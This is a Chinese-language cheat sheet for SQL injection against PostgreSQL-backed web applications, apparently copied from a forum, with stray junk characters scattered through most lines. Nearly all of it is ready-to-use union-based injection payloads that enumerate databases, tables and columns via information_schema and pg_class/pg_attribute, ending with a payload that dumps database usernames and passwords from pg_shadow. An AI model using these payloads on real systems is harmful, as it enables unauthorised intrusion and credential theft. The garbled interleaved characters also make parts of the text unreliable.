结合了MSSQL MySQL Oracle的一些特点
, K' `/ p- [# v" o0 f! E* H S v支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
4 a4 ?, e s3 x4 k连接符: %20 , + , /**/ 内置函数:
( L3 V1 Y% L- ?) C( Vcurrent_database() //当前数据库名
+ w% s/ W3 S6 b8 N0 wsession_user //会话用户
7 E c' b" ~) ?current_user //当前数据库用户
% |9 g! A+ `( A8 M2 huser //当前用户* I5 p8 W9 Q9 ?
version() //数据库版本 Union注射:, Q# y4 f8 \! ]8 u6 M! Q
order by n–
5 B/ v3 q' T1 l* X* b9 |9 Uand 1=2 union select null,null,null–4 g" M0 R+ p& m( n; z! h* G% E
and 1=2 union select ‘beach’,null,null–1 c( j% O2 V$ g, s' _
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
, M/ h! g( K2 i+ mgroup_concat(table_name)6 M i3 Z7 F. q5 A; `* L- I9 r
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
- {( e+ k) _% e# D" \, r {/ I$ u5 sand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
' q6 E2 f. ~8 r- D9 k' S(老版本)
! w4 i5 S. v6 cpg_class.oid对应pg_attribute.attrelid$ l9 m. e5 c( o
pg_class.relname表名
+ M8 q+ I w- Mpg_attribute.attname字段名 select relname from pg_class获取表名$ O! g# u2 g- a ?( B/ v1 a9 S4 {
select oid from pg_class where 条件 获取参数
; z" C+ U3 r+ q1 V7 Wselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
: H S; t, ^; J/ L3 Aand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
8 X& I8 ~) [0 Zand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–" |) Q1 P z" v6 Z9 C3 h
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
; P% P% ~$ P- q; j+ E3 F+ t======================================================================
2 m/ n1 h: t( u/ cand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库3 O: n1 F( ^- Q2 h9 e, f! n
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |